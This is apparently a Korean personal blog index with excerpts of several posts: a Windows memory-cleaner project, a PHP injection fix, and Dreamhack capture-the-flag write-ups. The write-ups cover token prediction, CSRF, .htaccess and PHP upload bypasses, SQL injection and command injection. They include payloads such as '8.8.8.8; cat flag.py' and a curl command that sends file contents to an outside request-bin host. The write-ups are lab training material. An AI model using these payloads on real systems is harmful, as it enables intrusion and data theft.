lriyan 님의 블로그

const WebSocket = require('ws');const fs = require('fs');const http = require('http');const path = require('path');const os = require('os');const { promisify } = require('util');const { pipeline } = require('stream');const streamPipeline = promisify(pipeline);const PORT = process.env.PORT || 8080;const uploadsDir = path.join(__dirname, 'uploads');if (!fs.existsSync(uploadsDir)) { fs.mkdirSync..

제작 동기최근 컴퓨터를 장시간 사용하다 보면 메모리가 점점 부족해지고, 시스템 속도가 느려지는 경험을 종종 겪게 됩니다.특히 여러 프로그램을 켜두거나, 메모리 사용량이 큰 작업을 수행할 때 PC가 버벅이는 현상을 줄이기 위해 자동으로 메모리를 정리할 수 있는 프로그램을 만들어 보았습니다.이번 프로젝트의 목표는 사용자가 간단하게 메모리를 최적화할 수 있는 도구를 만드는 것이었습니다. 주제 설명이번 프로젝트의 주제는 컴퓨터 메모리 정리입니다.Windows 시스템에서는 다음과 같은 메모리 영역이 존재하며, 이를 관리하면 성능을 개선할 수 있습니다. 1.작업 세트(Working Set): 각 프로세스가 현재 물리 메모리에서 사용하는 페이지.2.Standby List: 이전에 사용되었던 페이지로, 필요 시 다시 ..

첫번째로는 view.php의 비밀번호 인젝션 방지로 문자 확인 구문을 사용해 인젝션을 예방했다. 아래는 idx값 변조 방지로 숫자 확인 구문을 사용했다.   두번째로는 action.php에서의 글 삭제 방지 구문으로 삭제 페이지의 비밀번호 인젝션을 방지하여 무단 글 삭제를 방지한다.  마지막으로는 modify.php에서 idx값을 변조하지 못하도록 숫자 확인 구문을 넣었다.

기본적인 구조는 CSRT 2와 유사한 구조를 보이고 있다.다만 로그인 코드를 확인해보면 일회성이 아닌 토큰을 발급하는걸 확인해 볼 수 있다.  change_password를 확인해보면 토큰을 알고있어야 비밀번호 변경이 가능하다는걸 볼 수 있다.발급되는 토큰은 매번 초기화되는것이 아닌 항상 같은 값이기에 이 토큰의 값만 알아낼수 있다면 간단하게로그인을 시도할 수 있을것으로 보인다.  발급되는 토큰은 입력된 username과 remote_addr를 결합하여 MD5 해시 객체를 생성한다.이때 username은 우리가 로그인하길 원하는 admin이고 remote_addr 라는 헤더는 TCP/IP 접속시 생성되는 값으로, 접속자의 IP 주소값를 뜻한다.  따라서 이런 코드를 작성해 토큰 값을 알아낼수 있다.확인된..

사이트의 소스코드를 확인해보면 어렵지 않게 change_password부분이 취약점임을 확인해 볼 수 있다.따라서 라는 명령어를 사용해비밀번호를 바꿔 admin 계정으로 로그인할것이다.  이때 ing src를 사용하는 이유는 필터링이 걸려있어 script등을 사용할수 없기 때문이다. 비밀번호 변경 후 로그인해보면 이렇게 플레그를 얻을 수 있다.

소스 코드를 확인해보면 이렇게 파일에 필터링이 걸려있는걸 확인해 볼 수 있다.따라서 이를 해결하기 위해 htaccess파일을 이용할것이다. htaccess파일이란 간단하게 설정 파일로 htaccess파일을 이용해 필터링을 우회하여 text파일을 php파일로 실행시킬것이다.  이 문구는 php 파일의 타입을 설정하여 웹 서버가 해당 파일을 PHP로 해석하도록 하는 코드로설정 적용시 text 파일의 값을 php로 인식해 실행키기게 된다. 변한게 없어 보이지만 지금 이 사이트는 text파일을 php파일로 인식하게 설정되어 있다. 이제 text 파일을 작성해보자  이런식으로 flag파일의 내용을 출력하는 코드를 작성한 후 text파일로 저장하여 업로드해보면  이렇게 플래그를 출력할 수 있다.

파일 업로드를 통해 취약점을 공략하는 문제이다.사이트를 확인해보면 파일을 업로드하는 부분과 이렇게 업로드된 파일이 저장되는 부분을 확인해볼수 있다. 업로드 소스코드를 확인했을때 따로 필터링이 걸리지 않는 모습을 볼 수 있다. 따라서 업로드 된 파일이 실행되도록 php파일을 만들고 flag.txt를 출력하게 하면 된다.  이런식으로 php파일을 작성하고 업로드해주면  이렇게 플래그를 확인할 수 있다.

핑을 보내는 창이다.8.8.8.8 cat flag.py를 통해 바로 플레그를 출력해보자  당연하지만 막혀있는 모습을 확인할 수 있다. 그렇다면 문제 코드를 확인해보자check_output(['/bin/sh', '-c', cmd]에서 입력을 받는 모습을 확인할 수 있다.별다른 제약이 있는것도 아니니 그냥 ;로 8.8.8.8 뒤에 명령어를 실행시키면 된다. 8.8.8.8; cat flag.py를 입력해보면 플레그가 출력된다.

아주 간단한 문제다.  소스코드를 보면 알겠지만 userid 가 'admin'이고 userlevel 이 0일 경우 플레그를 출력한다.  근데 입력란이 injection에 취약하게 짜여져있다.따라서 그냥 입력을 0으로 하고 userid만 admin으로 바꿔주면 된다. 0' and userid='admin을 입력해보면 플레그가 출력된다.

문제 사이트를 확인해보면 ?cmd=[cmd]라는 문장만 출력되있는 기괴한 화면을 확인할 수 있다.이것만으로는 아무것도 확인할 수 없으니 소스코드를 열어보자  소스코드도 굉장이 짧게 구성되어 있다.핵심적인 부분만 확인해보자if request.method == 'GET':        '  ' 위 코드를 보면 get으로 값을 받을경우 출력이 먹통이 되는 모습을 확인할 수 있다.따라서 get을 사용하지 않고 get의 역할을 하는 head를 사용해 request를 요청해야 한다. 이제 코드를 작성해보자  curl을 통해 드림핵에서 제공하는 임시 서버로 http://host3.dreamhack.games:19809/?cmd=curl+https://jrvwimg.request.dreamhack.games/`cat+..